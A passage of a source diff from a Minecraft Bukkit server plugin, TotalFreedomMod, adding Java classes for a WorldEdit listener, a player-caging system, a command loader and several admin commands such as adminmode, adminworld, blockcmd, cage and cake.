for (int i = 0; i < count; i++)
|
||||
{
|
||||
session.undo(session.getBlockBag(bukkitPlayer), bukkitPlayer);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
}
|
||||
|
||||
public void setLimit(Player player, int limit)
|
||||
{
|
||||
try
|
||||
{
|
||||
final LocalSession session = getPlayerSession(player);
|
||||
if (session != null)
|
||||
{
|
||||
session.setBlockChangeLimit(limit);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,66 @@
|
||||
package me.totalfreedom.totalfreedommod.bridge;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import me.StevenLawson.worldedit.LimitChangedEvent;
|
||||
import me.StevenLawson.worldedit.SelectionChangedEvent;
|
||||
import net.pravian.aero.component.PluginListener;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
|
||||
public class WorldEditListener extends PluginListener<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public WorldEditListener(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@EventHandler
|
||||
public void onSelectionChange(final SelectionChangedEvent event)
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
|
||||
if (plugin.al.isAdmin(player))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (plugin.pa.isInProtectedArea(
|
||||
event.getMinVector(),
|
||||
event.getMaxVector(),
|
||||
event.getWorld().getName()))
|
||||
{
|
||||
|
||||
player.sendMessage(ChatColor.RED + "The region that you selected contained a protected area. Selection cleared.");
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler
|
||||
public void onLimitChanged(LimitChangedEvent event)
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
|
||||
if (plugin.al.isAdmin(player))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (!event.getPlayer().equals(event.getTarget()))
|
||||
{
|
||||
player.sendMessage(ChatColor.RED + "Only admins can change the limit for other players!");
|
||||
event.setCancelled(true);
|
||||
}
|
||||
|
||||
if (event.getLimit() < 0 || event.getLimit() > 10000)
|
||||
{
|
||||
player.setOp(false);
|
||||
FUtil.bcastMsg(event.getPlayer().getName() + " tried to set their WorldEdit limit to " + event.getLimit() + " and has been de-opped", ChatColor.RED);
|
||||
event.setCancelled(true);
|
||||
player.sendMessage(ChatColor.RED + "You cannot set your limit higher than 10000 or to -1!");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,194 @@
|
||||
package me.totalfreedom.totalfreedommod.caging;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import lombok.Getter;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.Material;
|
||||
import org.bukkit.SkullType;
|
||||
import org.bukkit.block.Block;
|
||||
import org.bukkit.block.Skull;
|
||||
|
||||
public class CageData
|
||||
{
|
||||
private final FPlayer fPlayer;
|
||||
//
|
||||
private final List<BlockData> cageHistory = new ArrayList<BlockData>();
|
||||
//
|
||||
@Getter
|
||||
private boolean caged = false;
|
||||
@Getter
|
||||
private Location location;
|
||||
@Getter
|
||||
private Material outerMaterial = Material.GLASS;
|
||||
@Getter
|
||||
private Material innerMaterial = Material.AIR;
|
||||
|
||||
public CageData(FPlayer player)
|
||||
{
|
||||
this.fPlayer = player;
|
||||
}
|
||||
|
||||
public void setCaged(boolean cage)
|
||||
{
|
||||
if (cage)
|
||||
{
|
||||
cage(fPlayer.getPlayer().getLocation(), Material.GLASS, Material.GLASS);
|
||||
}
|
||||
else
|
||||
{
|
||||
this.caged = false;
|
||||
regenerateHistory();
|
||||
clearHistory();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public void cage(Location location, Material outer, Material inner)
|
||||
{
|
||||
if (isCaged())
|
||||
{
|
||||
setCaged(false);
|
||||
}
|
||||
|
||||
this.caged = true;
|
||||
this.location = location;
|
||||
this.outerMaterial = outer;
|
||||
this.innerMaterial = inner;
|
||||
|
||||
buildHistory(location, 2, fPlayer);
|
||||
generateHollowCube(location, 2, outer);
|
||||
generateCube(location, 1, inner);
|
||||
}
|
||||
|
||||
// TODO: EventHandlerize this?
|
||||
public void playerJoin()
|
||||
{
|
||||
if (!isCaged())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
cage(fPlayer.getPlayer().getLocation(), outerMaterial, innerMaterial);
|
||||
}
|
||||
|
||||
public void playerQuit()
|
||||
{
|
||||
regenerateHistory();
|
||||
clearHistory();
|
||||
}
|
||||
|
||||
public void clearHistory()
|
||||
{
|
||||
cageHistory.clear();
|
||||
}
|
||||
|
||||
private void insertHistoryBlock(Location location, Material material)
|
||||
{
|
||||
cageHistory.add(new BlockData(location, material));
|
||||
}
|
||||
|
||||
private void regenerateHistory()
|
||||
{
|
||||
for (BlockData blockdata : this.cageHistory)
|
||||
{
|
||||
blockdata.location.getBlock().setType(blockdata.material);
|
||||
}
|
||||
}
|
||||
|
||||
private void buildHistory(Location location, int length, FPlayer playerdata)
|
||||
{
|
||||
final Block center = location.getBlock();
|
||||
for (int xOffset = -length; xOffset <= length; xOffset++)
|
||||
{
|
||||
for (int yOffset = -length; yOffset <= length; yOffset++)
|
||||
{
|
||||
for (int zOffset = -length; zOffset <= length; zOffset++)
|
||||
{
|
||||
final Block block = center.getRelative(xOffset, yOffset, zOffset);
|
||||
insertHistoryBlock(block.getLocation(), block.getType());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Util methods
|
||||
public static void generateCube(Location location, int length, Material material)
|
||||
{
|
||||
final Block center = location.getBlock();
|
||||
for (int xOffset = -length; xOffset <= length; xOffset++)
|
||||
{
|
||||
for (int yOffset = -length; yOffset <= length; yOffset++)
|
||||
{
|
||||
for (int zOffset = -length; zOffset <= length; zOffset++)
|
||||
{
|
||||
final Block block = center.getRelative(xOffset, yOffset, zOffset);
|
||||
if (block.getType() != material)
|
||||
{
|
||||
block.setType(material);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void generateHollowCube(Location location, int length, Material material)
|
||||
{
|
||||
final Block center = location.getBlock();
|
||||
for (int xOffset = -length; xOffset <= length; xOffset++)
|
||||
{
|
||||
for (int yOffset = -length; yOffset <= length; yOffset++)
|
||||
{
|
||||
for (int zOffset = -length; zOffset <= length; zOffset++)
|
||||
{
|
||||
// Hollow
|
||||
if (Math.abs(xOffset) != length && Math.abs(yOffset) != length && Math.abs(zOffset) != length)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
final Block block = center.getRelative(xOffset, yOffset, zOffset);
|
||||
|
||||
if (material != Material.SKULL)
|
||||
{
|
||||
// Glowstone light
|
||||
if (material != Material.GLASS && xOffset == 0 && yOffset == 2 && zOffset == 0)
|
||||
{
|
||||
block.setType(Material.GLOWSTONE);
|
||||
continue;
|
||||
}
|
||||
|
||||
block.setType(material);
|
||||
}
|
||||
else // Darth mode
|
||||
{
|
||||
if (Math.abs(xOffset) == length && Math.abs(yOffset) == length && Math.abs(zOffset) == length)
|
||||
{
|
||||
block.setType(Material.GLOWSTONE);
|
||||
continue;
|
||||
}
|
||||
|
||||
block.setType(Material.SKULL);
|
||||
final Skull skull = (Skull) block.getState();
|
||||
skull.setSkullType(SkullType.PLAYER);
|
||||
skull.setOwner("Prozza");
|
||||
skull.update();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static class BlockData
|
||||
{
|
||||
public Material material;
|
||||
public Location location;
|
||||
|
||||
private BlockData(Location location, Material material)
|
||||
{
|
||||
this.location = location;
|
||||
this.material = material;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,88 @@
|
||||
package me.totalfreedom.totalfreedommod.caging;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.PlayerJoinEvent;
|
||||
import org.bukkit.event.player.PlayerMoveEvent;
|
||||
import org.bukkit.event.player.PlayerQuitEvent;
|
||||
|
||||
public class Cager extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public Cager(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler
|
||||
public void onPlayerMove(PlayerMoveEvent event)
|
||||
{
|
||||
FPlayer player = plugin.pl.getPlayer(event.getPlayer());
|
||||
CageData cage = player.getCageData();
|
||||
|
||||
if (!cage.isCaged())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
Location playerLoc = player.getPlayer().getLocation().add(0, 1, 0);
|
||||
Location cageLoc = cage.getLocation();
|
||||
|
||||
final boolean outOfCage;
|
||||
if (!playerLoc.getWorld().equals(cageLoc.getWorld()))
|
||||
{
|
||||
outOfCage = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
outOfCage = playerLoc.distanceSquared(cageLoc) > (2.5D * 2.5D);
|
||||
}
|
||||
|
||||
if (outOfCage)
|
||||
{
|
||||
player.getPlayer().teleport(cageLoc.subtract(0, 0.5, 0));
|
||||
FUtil.playerMsg(player.getPlayer(), "You may not leave your cage.", ChatColor.RED);
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.MONITOR, ignoreCancelled = true)
|
||||
public void onPlayerQuit(PlayerQuitEvent event)
|
||||
{
|
||||
FPlayer player = plugin.pl.getPlayer(event.getPlayer());
|
||||
CageData cage = player.getCageData();
|
||||
|
||||
if (cage.isCaged())
|
||||
{
|
||||
cage.playerQuit();
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.MONITOR, ignoreCancelled = true)
|
||||
public void onPlayerJoin(PlayerJoinEvent event)
|
||||
{
|
||||
FPlayer player = plugin.pl.getPlayer(event.getPlayer());
|
||||
CageData cage = player.getCageData();
|
||||
|
||||
if (cage.isCaged())
|
||||
{
|
||||
cage.playerJoin();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,42 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import lombok.Getter;
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import net.pravian.aero.command.handler.SimpleCommandHandler;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.ChatColor;
|
||||
|
||||
public class CommandLoader extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
@Getter
|
||||
private final SimpleCommandHandler<TotalFreedomMod> handler;
|
||||
|
||||
public CommandLoader(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
|
||||
handler = new SimpleCommandHandler<TotalFreedomMod>(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
handler.clearCommands();
|
||||
handler.setExecutorFactory(new FreedomCommandExecutor.FreedomExecutorFactory());
|
||||
handler.setCommandClassPrefix("Command_");
|
||||
handler.setPermissionMessage(ChatColor.YELLOW + "You do not have permission to use this command.");
|
||||
|
||||
handler.loadFrom(FreedomCommand.class.getPackage());
|
||||
handler.registerAll("TotalFreedomMod", true);
|
||||
|
||||
FLog.info("Loaded " + handler.getExecutors().size() + " commands");
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
handler.clearCommands();
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,14 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
public @interface CommandParameters
|
||||
{
|
||||
String description();
|
||||
|
||||
String usage();
|
||||
|
||||
String aliases() default ""; // "alias1,alias2,alias3" - no spaces
|
||||
}
|
@ -0,0 +1,15 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
public @interface CommandPermissions
|
||||
{
|
||||
PlayerRank level();
|
||||
|
||||
SourceType source();
|
||||
|
||||
boolean blockHostConsole() default false;
|
||||
}
|
@ -0,0 +1,44 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.ONLY_CONSOLE, blockHostConsole = true)
|
||||
@CommandParameters(description = "Close server to non-superadmins.", usage = "/<command> [on | off]")
|
||||
public class Command_adminmode extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length != 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (args[0].equalsIgnoreCase("off"))
|
||||
{
|
||||
ConfigEntry.ADMIN_ONLY_MODE.setBoolean(false);
|
||||
FUtil.adminAction(sender.getName(), "Opening the server to all players.", true);
|
||||
return true;
|
||||
}
|
||||
else if (args[0].equalsIgnoreCase("on"))
|
||||
{
|
||||
ConfigEntry.ADMIN_ONLY_MODE.setBoolean(true);
|
||||
FUtil.adminAction(sender.getName(), "Closing the server to non-superadmins.", true);
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
if (!isAdmin(player))
|
||||
{
|
||||
player.kickPlayer("Server is now closed to non-superadmins.");
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
@ -0,0 +1,247 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import me.totalfreedom.totalfreedommod.world.WorldTime;
|
||||
import me.totalfreedom.totalfreedommod.world.WorldWeather;
|
||||
import org.bukkit.World;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.OP, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Go to the AdminWorld.", usage = "/<command> [guest < list | purge | add <player> | remove <player> > | time <morning | noon | evening | night> | weather <off | on | storm>]")
|
||||
public class Command_adminworld extends FreedomCommand
|
||||
{
|
||||
|
||||
private enum CommandMode
|
||||
{
|
||||
|
||||
TELEPORT, GUEST, TIME, WEATHER;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
CommandMode commandMode = null;
|
||||
|
||||
if (args.length == 0)
|
||||
{
|
||||
commandMode = CommandMode.TELEPORT;
|
||||
}
|
||||
else if (args.length >= 2)
|
||||
{
|
||||
if ("guest".equalsIgnoreCase(args[0]))
|
||||
{
|
||||
commandMode = CommandMode.GUEST;
|
||||
}
|
||||
else if ("time".equalsIgnoreCase(args[0]))
|
||||
{
|
||||
commandMode = CommandMode.TIME;
|
||||
}
|
||||
else if ("weather".equalsIgnoreCase(args[0]))
|
||||
{
|
||||
commandMode = CommandMode.WEATHER;
|
||||
}
|
||||
}
|
||||
|
||||
if (commandMode == null)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
switch (commandMode)
|
||||
{
|
||||
case TELEPORT:
|
||||
{
|
||||
if (!(sender instanceof Player) || sender_p == null)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
World adminWorld = null;
|
||||
try
|
||||
{
|
||||
adminWorld = plugin.wm.adminworld.getWorld();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
|
||||
if (adminWorld == null || sender_p.getWorld() == adminWorld)
|
||||
{
|
||||
playerMsg("Going to the main world.");
|
||||
sender_p.teleport(server.getWorlds().get(0).getSpawnLocation());
|
||||
}
|
||||
else
|
||||
{
|
||||
if (plugin.wm.adminworld.canAccessWorld(sender_p))
|
||||
{
|
||||
playerMsg("Going to the AdminWorld.");
|
||||
plugin.wm.adminworld.sendToWorld(sender_p);
|
||||
}
|
||||
else
|
||||
{
|
||||
playerMsg("You don't have permission to access the AdminWorld.");
|
||||
}
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
case GUEST:
|
||||
{
|
||||
if (args.length == 2)
|
||||
{
|
||||
if ("list".equalsIgnoreCase(args[1]))
|
||||
{
|
||||
playerMsg("AdminWorld guest list: " + plugin.wm.adminworld.guestListToString());
|
||||
}
|
||||
else if ("purge".equalsIgnoreCase(args[1]))
|
||||
{
|
||||
assertCommandPerms(sender, sender_p);
|
||||
plugin.wm.adminworld.purgeGuestList();
|
||||
FUtil.adminAction(sender.getName(), "AdminWorld guest list purged.", false);
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else if (args.length == 3)
|
||||
{
|
||||
assertCommandPerms(sender, sender_p);
|
||||
|
||||
if ("add".equalsIgnoreCase(args[1]))
|
||||
{
|
||||
final Player player = getPlayer(args[2]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||
return true;
|
||||
}
|
||||
|
||||
if (plugin.wm.adminworld.addGuest(player, sender_p))
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "AdminWorld guest added: " + player.getName(), false);
|
||||
}
|
||||
else
|
||||
{
|
||||
playerMsg("Could not add player to guest list.");
|
||||
}
|
||||
}
|
||||
else if ("remove".equals(args[1]))
|
||||
{
|
||||
final Player player = plugin.wm.adminworld.removeGuest(args[2]);
|
||||
if (player != null)
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "AdminWorld guest removed: " + player.getName(), false);
|
||||
}
|
||||
else
|
||||
{
|
||||
playerMsg("Can't find guest entry for: " + args[2]);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
case TIME:
|
||||
{
|
||||
assertCommandPerms(sender, sender_p);
|
||||
|
||||
if (args.length == 2)
|
||||
{
|
||||
WorldTime timeOfDay = WorldTime.getByAlias(args[1]);
|
||||
if (timeOfDay != null)
|
||||
{
|
||||
plugin.wm.adminworld.setTimeOfDay(timeOfDay);
|
||||
playerMsg("AdminWorld time set to: " + timeOfDay.name());
|
||||
}
|
||||
else
|
||||
{
|
||||
playerMsg("Invalid time of day. Can be: sunrise, noon, sunset, midnight");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
case WEATHER:
|
||||
{
|
||||
assertCommandPerms(sender, sender_p);
|
||||
|
||||
if (args.length == 2)
|
||||
{
|
||||
WorldWeather weatherMode = WorldWeather.getByAlias(args[1]);
|
||||
if (weatherMode != null)
|
||||
{
|
||||
plugin.wm.adminworld.setWeatherMode(weatherMode);
|
||||
playerMsg("AdminWorld weather set to: " + weatherMode.name());
|
||||
}
|
||||
else
|
||||
{
|
||||
playerMsg("Invalid weather mode. Can be: off, rain, storm");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (PermissionDeniedException ex)
|
||||
{
|
||||
if (ex.getMessage().isEmpty())
|
||||
{
|
||||
return noPerms();
|
||||
}
|
||||
sender.sendMessage(ex.getMessage());
|
||||
return true;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// TODO: Redo this properly
|
||||
private void assertCommandPerms(CommandSender sender, Player sender_p) throws PermissionDeniedException
|
||||
{
|
||||
if (!(sender instanceof Player) || sender_p == null || !isAdmin(sender))
|
||||
{
|
||||
throw new PermissionDeniedException();
|
||||
}
|
||||
}
|
||||
|
||||
private class PermissionDeniedException extends Exception
|
||||
{
|
||||
|
||||
private static final long serialVersionUID = 1L;
|
||||
|
||||
private PermissionDeniedException()
|
||||
{
|
||||
super("");
|
||||
}
|
||||
|
||||
private PermissionDeniedException(String string)
|
||||
{
|
||||
super(string);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,62 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Block all commands for a specific player.", usage = "/<command> <purge | <partialname>>", aliases = "blockcommands,blockcommand")
|
||||
public class Command_blockcmd extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length != 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (args[0].equalsIgnoreCase("purge"))
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Unblocking commands for all players", true);
|
||||
int counter = 0;
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||
if (playerdata.allCommandsBlocked())
|
||||
{
|
||||
counter += 1;
|
||||
playerdata.setCommandsBlocked(false);
|
||||
}
|
||||
}
|
||||
playerMsg("Unblocked commands for " + counter + " players.");
|
||||
return true;
|
||||
}
|
||||
|
||||
final Player player = getPlayer(args[0]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
playerMsg(FreedomCommand.PLAYER_NOT_FOUND);
|
||||
return true;
|
||||
}
|
||||
|
||||
if (isAdmin(sender))
|
||||
{
|
||||
playerMsg(player.getName() + " is a Superadmin, and cannot have their commands blocked.");
|
||||
return true;
|
||||
}
|
||||
|
||||
FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||
|
||||
playerdata.setCommandsBlocked(!playerdata.allCommandsBlocked());
|
||||
|
||||
FUtil.adminAction(sender.getName(), (playerdata.allCommandsBlocked() ? "B" : "Unb") + "locking all commands for " + player.getName(), true);
|
||||
playerMsg((playerdata.allCommandsBlocked() ? "B" : "Unb") + "locked all commands.");
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,109 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.GameMode;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.Material;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "Place a cage around someone.", usage = "/<command> <purge | off | <partialname> [outermaterial] [innermaterial]>")
|
||||
public class Command_cage extends FreedomCommand
|
||||
{
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
if (args.length == 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if ("off".equals(args[0]) && sender instanceof Player)
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Uncaging " + sender.getName(), true);
|
||||
FPlayer playerdata = plugin.pl.getPlayer(sender_p);
|
||||
|
||||
playerdata.getCageData().setCaged(false);
|
||||
return true;
|
||||
}
|
||||
else if ("purge".equals(args[0]))
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Uncaging all players", true);
|
||||
|
||||
for (Player player : server.getOnlinePlayers())
|
||||
{
|
||||
FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||
playerdata.getCageData().setCaged(false);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
final Player player = getPlayer(args[0]);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||
return true;
|
||||
}
|
||||
|
||||
FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||
|
||||
Material outerMaterial = Material.GLASS;
|
||||
Material innerMaterial = Material.AIR;
|
||||
|
||||
if (args.length >= 2)
|
||||
{
|
||||
if ("off".equals(args[1]))
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Uncaging " + player.getName(), true);
|
||||
playerdata.getCageData().setCaged(false);
|
||||
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
if ("darth".equalsIgnoreCase(args[1]))
|
||||
{
|
||||
outerMaterial = Material.SKULL;
|
||||
}
|
||||
else if (Material.matchMaterial(args[1]) != null)
|
||||
{
|
||||
outerMaterial = Material.matchMaterial(args[1]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (args.length >= 3)
|
||||
{
|
||||
if (args[2].equalsIgnoreCase("water"))
|
||||
{
|
||||
innerMaterial = Material.STATIONARY_WATER;
|
||||
}
|
||||
else if (args[2].equalsIgnoreCase("lava"))
|
||||
{
|
||||
innerMaterial = Material.STATIONARY_LAVA;
|
||||
}
|
||||
}
|
||||
|
||||
Location targetPos = player.getLocation().clone().add(0, 1, 0);
|
||||
playerdata.getCageData().cage(targetPos, outerMaterial, innerMaterial);
|
||||
|
||||
player.setGameMode(GameMode.SURVIVAL);
|
||||
|
||||
if (outerMaterial != Material.SKULL)
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Caging " + player.getName(), true);
|
||||
}
|
||||
else
|
||||
{
|
||||
FUtil.adminAction(sender.getName(), "Caging " + player.getName() + " in PURE_DARTH", true);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,53 @@
|
||||
package me.totalfreedom.totalfreedommod.commands;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.rank.PlayerRank;
|
||||
import java.util.Random;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import org.bukkit.Achievement;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.Material;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
import org.bukkit.inventory.meta.ItemMeta;
|
||||
|
||||
@CommandPermissions(level = PlayerRank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||
@CommandParameters(description = "For the people that are still alive.", usage = "/<command>")
|
||||
public class Command_cake extends FreedomCommand
|
||||
{
|
||||
public static final String CAKE_LYRICS = "But there's no sense crying over every mistake. You just keep on trying till you run out of cake.";
|
||||
private final Random random = new Random();
|
||||
|
||||
@Override
|
||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||
{
|
||||
final StringBuilder output = new StringBuilder();
|
||||
|
||||
final String[] words = CAKE_LYRICS.split(" ");
|
||||
for (final String word : words)
|
||||
{
|
||||
output.append(ChatColor.COLOR_CHAR).append(Integer.toHexString(1 + random.nextInt(14))).append(word).append(" ");
|
||||
}
|
||||
|
||||
final ItemStack heldItem = new ItemStack(Material.CAKE);
|
||||
final ItemMeta heldItemMeta = heldItem.getItemMeta();
|
||||
heldItemMeta.setDisplayName((new StringBuilder()).append(ChatColor.WHITE).append("The ").append(ChatColor.DARK_GRAY).append("Lie").toString());
|
||||
heldItem.setItemMeta(heldItemMeta);
|
||||
|
||||
for (final Player player : server.getOnlinePlayers())
|
||||
{
|
||||
final int firstEmpty = player.getInventory().firstEmpty();
|
||||
if (firstEmpty >= 0)
|
||||
{
|
||||
player.getInventory().setItem(firstEmpty, heldItem);
|
||||
}
|
||||
|
||||
player.awardAchievement(Achievement.BAKE_CAKE);
|
||||
}
|
||||
|
||||
FUtil.bcastMsg(output.toString());
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
@ -0,0 +1,82 @@
|
||||
